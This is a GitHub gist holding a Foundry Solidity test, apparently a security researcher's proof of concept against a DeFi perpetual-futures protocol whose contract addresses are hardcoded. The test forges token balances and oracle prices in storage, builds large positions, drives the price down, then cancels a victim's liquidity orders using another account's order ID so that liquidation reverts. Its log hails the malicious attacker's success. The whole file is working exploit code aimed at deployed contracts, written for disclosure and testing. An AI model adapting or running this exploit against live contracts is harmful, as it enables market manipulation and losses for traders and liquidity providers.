-
-
Save this-is-chainlight/6bc2c5917b948a09698a14158a4452e2 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
pragma solidity ^0.8.13; | |
pragma abicoder v2; | |
import "forge-std/Test.sol"; | |
interface IERC20 { | |
function totalSupply() external view returns (uint256); | |
function decimals() external view returns (uint256); | |
function balanceOf(address account) external view returns (uint256); | |
function transfer(address recipient, uint256 amount) external returns (bool); | |
function allowance(address owner, address spender) external view returns (uint256); | |
function approve(address spender, uint256 amount) external returns (bool); | |
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); | |
} | |
interface IVault { | |
function deposit(address token, uint256 amount) external; | |
function depositFor(address to, address token, uint256 amount) external; | |
function withdraw(address token, uint256 amount) external; | |
function getFreeCollateralByToken(address trader, address token) external view returns (uint256); | |
} | |
interface IAccountBalance { | |
function getTakerOpenNotional(address trader, address baseToken) external view returns (int256); | |
function getTakerPositionSize(address trader, address baseToken) external view returns (int256); | |
} | |
interface IClearingHouse { | |
struct AddLiquidityParams { | |
address baseToken; | |
uint256 base; | |
uint256 quote; | |
int24 lowerTick; | |
int24 upperTick; | |
uint256 minBase; | |
uint256 minQuote; | |
bool useTakerBalance; | |
uint256 deadline; | |
} | |
struct AddLiquidityResponse { | |
uint256 base; | |
uint256 quote; | |
uint256 fee; | |
uint256 liquidity; | |
} | |
function addLiquidity(AddLiquidityParams calldata params) external returns (AddLiquidityResponse memory); | |
struct RemoveLiquidityParams { | |
address baseToken; | |
int24 lowerTick; | |
int24 upperTick; | |
uint128 liquidity; | |
uint256 minBase; | |
uint256 minQuote; | |
uint256 deadline; | |
} | |
struct RemoveLiquidityResponse { | |
uint256 base; | |
uint256 quote; | |
uint256 fee; | |
} | |
function removeLiquidity(RemoveLiquidityParams calldata params) external returns (RemoveLiquidityResponse memory); | |
struct OpenPositionParams { | |
address baseToken; | |
bool isBaseToQuote; | |
bool isExactInput; | |
uint256 amount; | |
uint256 oppositeAmountBound; | |
uint256 deadline; | |
uint160 sqrtPriceLimitX96; | |
bytes32 referralCode; | |
} | |
function openPosition(OpenPositionParams memory params) external returns (uint256 base, uint256 quote); | |
struct ClosePositionParams { | |
address baseToken; | |
uint160 sqrtPriceLimitX96; | |
uint256 oppositeAmountBound; | |
uint256 deadline; | |
bytes32 referralCode; | |
} | |
function closePosition(ClosePositionParams calldata params) external returns (uint256 base, uint256 quote); | |
function settleAllFunding(address trader) external; | |
function getAccountValue(address trader) external returns (int256); | |
function liquidate(address trader, address baseToken) external; | |
function cancelAllExcessOrders(address maker, address baseToken) external; | |
function cancelExcessOrders(address maker, address baseToken, bytes32[] calldata orderIds) external; | |
} | |
interface IOrderBook { | |
struct Info { | |
uint128 liquidity; | |
int24 lowerTick; | |
int24 upperTick; | |
uint256 lastFeeGrowthInsideX128; | |
int256 lastTwPremiumGrowthInsideX96; | |
int256 lastTwPremiumGrowthBelowX96; | |
int256 lastTwPremiumDivBySqrtPriceGrowthInsideX96; | |
uint256 baseDebt; | |
uint256 quoteDebt; | |
} | |
function getOpenOrder(address trader, address baseToken, int24 lowerTick, int24 upperTick) external view returns (Info memory); | |
function getOpenOrderIds(address maker, address baseToken) external view returns (bytes32[] memory); | |
} | |
interface IClearingHouseConfig { | |
function getSettlementTokenBalanceCap() external view returns (uint256 settlementTokenBalanceCap); | |
} | |
interface IUniswapV3Pool { | |
function slot0() | |
external | |
view | |
returns ( | |
uint160 sqrtPriceX96, | |
int24 tick, | |
uint16 observationIndex, | |
uint16 observationCardinality, | |
uint16 observationCardinalityNext, | |
uint8 feeProtocol, | |
bool unlocked | |
); | |
struct TickInfo { | |
uint128 liquidityGross; | |
int128 liquidityNet; | |
uint256 feeGrowthOutside0X128; | |
uint256 feeGrowthOutside1X128; | |
int56 tickCumulativeOutside; | |
uint160 secondsPerLiquidityOutsideX128; | |
uint32 secondsOutside; | |
bool initialized; | |
} | |
function ticks(int24 tick) | |
external | |
view | |
returns ( | |
uint128 liquidityGross, | |
int128 liquidityNet, | |
uint256 feeGrowthOutside0X128, | |
uint256 feeGrowthOutside1X128, | |
int56 tickCumulativeOutside, | |
uint160 secondsPerLiquidityOutsideX128, | |
uint32 secondsOutside, | |
bool initialized | |
); | |
function tickBitmap(int16 wordPosition) external view returns (uint256); | |
} | |
interface IPriceFeedV2 { | |
function getPrice(uint256 interval) external view returns (uint256); | |
} | |
contract TestAccount1 {} | |
contract TestAccount2 {} | |
contract TestAccount3 {} | |
contract PriceMoveSimulationAccount {} | |
contract ContractTest is Test { | |
uint160 internal constant MIN_SQRT_RATIO = 4295128739; | |
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; | |
int24 internal constant MIN_TICK = -887272; | |
int24 internal constant MAX_TICK = -MIN_TICK; | |
int24 internal constant tickSpacing = 60; | |
function ts_floor(int24 tick) internal pure returns (int24) { | |
return tick + (tickSpacing - (tick % tickSpacing)); | |
} | |
function ts_ceil(int24 tick) internal pure returns (int24) { | |
return ts_floor(tick) - tickSpacing; | |
} | |
IERC20 usdc = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607); | |
uint256 usdcDecimals = (10 ** usdc.decimals()); | |
address v_flow = 0x7EAdA83e15AcD08d22ad85A1dCE92E5A257Acb92; | |
IUniswapV3Pool v_flow_pool = IUniswapV3Pool(0xD26ffdDE6c0DAaAbEB0a6806221c6b9fE7519bdf); | |
IAccountBalance ab = IAccountBalance(0xA7f3FC32043757039d5e13d790EE43edBcBa8b7c); | |
IClearingHouse ch = IClearingHouse(0x82ac2CE43e33683c58BE4cDc40975E73aA50f459); | |
IClearingHouseConfig chc = IClearingHouseConfig(0xA4c817a425D3443BAf610CA614c8B11688a288Fb); | |
IOrderBook ob = IOrderBook(0xDfcaEBe8f6ea5E022BeFAFaE8c6Cdae8D4E1094b); | |
IVault v = IVault(0xAD7b4C162707E0B2b5f6fdDbD3f8538A5fbA0d60); | |
address oracle = 0x19A4dEa5470b2d8E16d9f8D929C0b36fe44113B4; | |
address[3] accounts; | |
address priceMoveSimulationAccount = address(new PriceMoveSimulationAccount()); | |
int24 currentTick; | |
uint256 price; | |
function setUp() public { | |
accounts[0] = address(new TestAccount1()); | |
accounts[1] = address(new TestAccount2()); | |
accounts[2] = address(new TestAccount3()); | |
uint256 settlementTokenBalanceCap = chc.getSettlementTokenBalanceCap(); | |
uint256 vaultBalance = usdc.balanceOf(address(v)); | |
// give test contract some USDC | |
vm.store( | |
address(usdc), | |
0x187a2ad3b11081a3050671ee16cc42acca7475835edc3ec15a30507fff0991e9, | |
bytes32(uint256(settlementTokenBalanceCap)) | |
); | |
usdc.transfer(priceMoveSimulationAccount, 1000 * usdcDecimals); | |
usdc.transfer(accounts[1], 200000 * usdcDecimals); | |
uint256 n = settlementTokenBalanceCap - ( | |
vaultBalance + | |
usdc.balanceOf(priceMoveSimulationAccount) + | |
usdc.balanceOf(accounts[1]) | |
+ 1 | |
); | |
usdc.transfer(accounts[0], n/2); | |
usdc.transfer(accounts[2], n/2); | |
for (uint i = 0; i < accounts.length + 1; i++) { | |
address x; | |
if (i < accounts.length) | |
x = accounts[i]; | |
else | |
x = priceMoveSimulationAccount; | |
vm.startPrank(x); | |
usdc.approve(address(v), type(uint256).max); | |
v.deposit(address(usdc), usdc.balanceOf(x)); | |
vm.stopPrank(); | |
} | |
} | |
function setupLargePositions() internal { | |
emit log("\nsetupLargePositions()"); | |
uint256 amount2 = uint256(ch.getAccountValue(accounts[1])) * (0.99 ether / uint256(1000000000)) / price - 1000; | |
uint256 amount3 = uint256(ch.getAccountValue(accounts[2])) * (0.958 ether / uint256(1000000000)) / price; | |
// provide sell liquidity | |
int24 lowerTick = ts_floor(currentTick); | |
int24 upperTick = ts_floor(currentTick) + tickSpacing; | |
vm.startPrank(accounts[0]); | |
ch.addLiquidity( | |
IClearingHouse.AddLiquidityParams({ | |
baseToken: v_flow, | |
base: amount2 + amount3, | |
quote: 0, | |
lowerTick: lowerTick, | |
upperTick: upperTick, | |
minBase: 0, | |
minQuote: 0, | |
useTakerBalance: false, | |
deadline: type(uint256).max | |
}) | |
); | |
int24 targetPoc2LowerTick = lowerTick + (tickSpacing * 5); | |
int24 targetPoc2UpperTick = lowerTick + (tickSpacing * 5) + tickSpacing; | |
// π₯π₯π₯π₯ JUST FOR TESTING THIS BUG NOT THE PREVIOUS ONE π₯π₯π₯π₯ | |
ch.addLiquidity( | |
IClearingHouse.AddLiquidityParams({ | |
baseToken: v_flow, | |
// CHANGE THIS TO 1000 does not revert | |
base: 100, // account[0]'s order, the liquidity = 100 | |
quote: 0, | |
lowerTick: targetPoc2LowerTick, | |
upperTick: targetPoc2UpperTick, | |
minBase: 0, | |
minQuote: 0, | |
useTakerBalance: false, | |
deadline: type(uint256).max | |
}) | |
); | |
emit log_named_address("maker", accounts[0]); | |
emit log_named_address("v_flow", v_flow); | |
emit log_named_int("targetPoc2LowerTick", targetPoc2LowerTick); | |
emit log_named_int("targetPoc2UpperTick", targetPoc2UpperTick); | |
// π₯π₯π₯π₯ END π₯π₯π₯π₯ | |
vm.stopPrank(); | |
// long | |
vm.startPrank(accounts[1]); | |
// π₯π₯π₯π₯ JUST FOR TESTING THIS BUG NOT THE PREVIOUS ONE π₯π₯π₯π₯ | |
// add liquidity = 1000 | |
ch.addLiquidity( | |
IClearingHouse.AddLiquidityParams({ | |
baseToken: v_flow, | |
base: 1000, | |
quote: 0, | |
lowerTick: targetPoc2LowerTick, | |
upperTick: targetPoc2UpperTick, | |
minBase: 0, | |
minQuote: 0, | |
useTakerBalance: false, | |
deadline: type(uint256).max | |
}) | |
); | |
// π₯π₯π₯π₯ END π₯π₯π₯π₯ | |
ch.openPosition( | |
IClearingHouse.OpenPositionParams({ | |
baseToken: v_flow, | |
isBaseToQuote: false, | |
isExactInput: false, | |
amount: amount2, | |
oppositeAmountBound: 0, | |
deadline: type(uint256).max, | |
sqrtPriceLimitX96: MAX_SQRT_RATIO - 1, | |
referralCode: bytes32(0) | |
}) | |
); | |
vm.stopPrank(); | |
( , currentTick, , , , , ) = v_flow_pool.slot0(); | |
emit log_named_int("tick", currentTick); | |
// long | |
vm.startPrank(accounts[2]); | |
ch.openPosition( | |
IClearingHouse.OpenPositionParams({ | |
baseToken: v_flow, | |
isBaseToQuote: false, | |
isExactInput: false, | |
amount: amount3, | |
oppositeAmountBound: 0, | |
deadline: type(uint256).max, | |
sqrtPriceLimitX96: MAX_SQRT_RATIO - 1, | |
referralCode: bytes32(0) | |
}) | |
); | |
vm.stopPrank(); | |
( , currentTick, , , , , ) = v_flow_pool.slot0(); | |
emit log_named_int("tick", currentTick); | |
// remove remaining liquidity | |
vm.startPrank(accounts[0]); | |
ch.removeLiquidity( | |
IClearingHouse.RemoveLiquidityParams({ | |
baseToken: v_flow, | |
lowerTick: lowerTick, | |
upperTick: upperTick, | |
liquidity: ob.getOpenOrder( | |
accounts[0], | |
v_flow, | |
lowerTick, | |
upperTick | |
).liquidity, | |
minBase: 0, | |
minQuote: 0, | |
deadline: type(uint256).max | |
}) | |
); | |
vm.stopPrank(); | |
} | |
function advanceBlockAndForceOracleOutput(uint256 _price) internal { | |
vm.roll(block.number + 1); | |
vm.warp(block.timestamp + 1); | |
// _cachedTwap = price | |
vm.store(oracle, bytes32(0x0000000000000000000000000000000000000000000000000000000000000301), bytes32(uint256(_price))); | |
// _lastUpdatedAt = block.timestamp | |
uint256 oracle_slot_x302 = uint256(vm.load(oracle, bytes32(0x0000000000000000000000000000000000000000000000000000000000000302))); | |
oracle_slot_x302 &= ~uint256(0xffffffffffffffffffffffffffffffff); | |
oracle_slot_x302 |= block.timestamp; | |
vm.store(oracle, bytes32(0x0000000000000000000000000000000000000000000000000000000000000302), bytes32(oracle_slot_x302)); | |
} | |
function simulatePriceMove() internal { | |
emit log("\nsimulatePriceMove()"); | |
uint256 ratio = 0.95 ether; | |
price = IPriceFeedV2(oracle).getPrice(900); | |
price = price * ratio / 1 ether; | |
int24 targetTick = int24(int256(uint256(int256(currentTick)) * ratio / 1 ether)); | |
emit log_named_int("targetTick", targetTick); | |
vm.startPrank(priceMoveSimulationAccount); | |
while (currentTick > targetTick) { | |
advanceBlockAndForceOracleOutput(price); | |
ch.openPosition( | |
IClearingHouse.OpenPositionParams({ | |
baseToken: v_flow, | |
isBaseToQuote: true, | |
isExactInput: false, | |
amount: 1000 ether, | |
oppositeAmountBound: 0, | |
deadline: type(uint256).max, | |
sqrtPriceLimitX96: MIN_SQRT_RATIO + 1, | |
referralCode: bytes32(0) | |
}) | |
); | |
( , currentTick, , , , , ) = v_flow_pool.slot0(); | |
emit log_named_int("tick", currentTick); | |
} | |
vm.stopPrank(); | |
advanceBlockAndForceOracleOutput(price); | |
price = IPriceFeedV2(oracle).getPrice(900); | |
emit log_named_uint("oraclePrice", price); | |
} | |
int24 manipulatePriceLimitForNextBlockLowerTick; | |
int24 manipulatePriceLimitForNextBlockUpperTick; | |
function cancelExcessOrderByUsingMaliciousOrderIds() internal { | |
emit log("\ncancelExcessOrderByUsingMaliciousOrderIds()"); | |
vm.startPrank(accounts[0]); | |
// provide buy liquidity at carefully selected price | |
( , currentTick, , , , , ) = v_flow_pool.slot0(); | |
manipulatePriceLimitForNextBlockLowerTick = ts_ceil(currentTick - 750) - tickSpacing; | |
manipulatePriceLimitForNextBlockUpperTick = ts_ceil(currentTick - 750); | |
// this is add liquidity from accounts[0] | |
ch.addLiquidity( | |
IClearingHouse.AddLiquidityParams({ | |
baseToken: v_flow, | |
base: 0, | |
quote: uint256(-ab.getTakerOpenNotional(accounts[1], v_flow)), | |
lowerTick: manipulatePriceLimitForNextBlockLowerTick, | |
upperTick: manipulatePriceLimitForNextBlockUpperTick, | |
minBase: 0, | |
minQuote: 0, | |
useTakerBalance: false, | |
deadline: type(uint256).max | |
}) | |
); | |
// π₯π₯π₯π₯ JUST FOR TESTING THIS BUG NOT THE PREVIOUS ONE π₯π₯π₯π₯ | |
bytes32[] memory orderIds = ob.getOpenOrderIds(accounts[1], v_flow); | |
emit log_named_bytes32("Original accounts[1]'s orderid", orderIds[0]); | |
/* | |
* maker: 0x185a4dc360ce69bdccee33b3784b0282f7961aea | |
* v_flow: 0x7eada83e15acd08d22ad85a1dce92e5a257acb92 | |
* targetPoc2LowerTick: 4980 | |
* targetPoc2UpperTick: 5040 | |
*/ | |
bytes32 otherMaliciousOrderId = keccak256(abi.encodePacked(accounts[0], v_flow, int24(4980), int24(5040))); | |
emit log_named_bytes32("otherMaliciousOrderId from accounts[0]", otherMaliciousOrderId); | |
bytes32[] memory newOrderIds = new bytes32[](1); | |
newOrderIds[0] = otherMaliciousOrderId; | |
ch.cancelExcessOrders(accounts[1], v_flow, newOrderIds); // cancel order with accounts[0]'s order hash (otherMaliciousOrderId) | |
vm.expectRevert(bytes("CH_CLWTISO")); // there is a remaning order since we did 1000 - 100 (liquidity) | |
ch.liquidate(accounts[1], v_flow); // CH_CLWTISO occurs | |
emit log("**** Oh yeah, a malicious attacker use different user's orderhash to remove the partial of victim's liquidity! ****"); | |
// π₯π₯π₯π₯ END π₯π₯π₯π₯ | |
vm.stopPrank(); | |
} | |
function getAccountValues() internal returns (int256[] memory, uint256) { | |
int256[] memory accountValues = new int256[](accounts.length); | |
uint256 accountValueTotal = 0; | |
for (uint i = 0; i < accounts.length; i++) { | |
accountValues[i] = ch.getAccountValue(accounts[i]); | |
if (accountValues[i] > 0) { | |
accountValueTotal += uint256(accountValues[i]); | |
} | |
} | |
return (accountValues, accountValueTotal); | |
} | |
function test() public { | |
(int256[] memory initialAccountValues, uint256 initialAccountValueTotal) = getAccountValues(); | |
emit log_named_int("initial accountValue (1)", initialAccountValues[0]); | |
emit log_named_int("initial accountValue (2)", initialAccountValues[1]); | |
emit log_named_int("initial accountValue (3)", initialAccountValues[2]); | |
emit log_named_uint("initial accountValue (total)", initialAccountValueTotal); | |
emit log_named_decimal_uint("initial accountValue (total in USDC)", initialAccountValueTotal / 1000000000000, usdc.decimals()); | |
( , currentTick, , , , , ) = v_flow_pool.slot0(); | |
emit log_named_int("currentTick", currentTick); | |
price = IPriceFeedV2(oracle).getPrice(900); | |
emit log_named_uint("oraclePrice", price); | |
setupLargePositions(); | |
simulatePriceMove(); // to make accounts[1]'s position is liquidatable | |
cancelExcessOrderByUsingMaliciousOrderIds(); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment